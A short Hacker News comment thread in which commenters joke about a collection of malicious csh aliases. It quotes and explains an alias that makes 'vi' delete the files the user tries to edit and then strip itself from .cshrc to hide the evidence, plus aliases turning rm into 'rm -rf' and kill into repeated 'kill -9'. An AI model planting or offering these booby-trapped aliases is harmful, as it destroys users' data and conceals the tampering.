Hacker News new | ask | show | jobs
by yjftsjthsd-h 2215 days ago
That's utterly beautiful. I really lost it at:

alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z; mv -f ~/.z ~/.cshrc'

...which is of course utterly evil:)

4 comments

Lessee, this:

1. Creates an alias named "vi", so that next time the user runs the text editor vi, it will run this script instead. 2. Deletes whatever files the user was planning to edit in vi. 3. Removes this "vi" alias, reverting the behavior to just running vi in the future. 4. Removes every line from the .cshrc which contains the string "BoZo".

If you put this in someone's .cshrc file, the next file they attempted to edit with vi would be deleted along with the evidence that anything malicious had been done to you.

I might borrow some of these aliases too.

    alias rm 'rm -rf \!*'
    alias hose kill -9 '`ps -augxww | grep \!* | awk \'{print $2}\'`'
    alias kill 'kill -9 \!* ; kill -9 \!* ; kill -9 \!*'
    alias renice 'echo Renice\?  You must mean kill -9.; kill -9 \!*'
That's mean
Yup; it's packed full of such gems.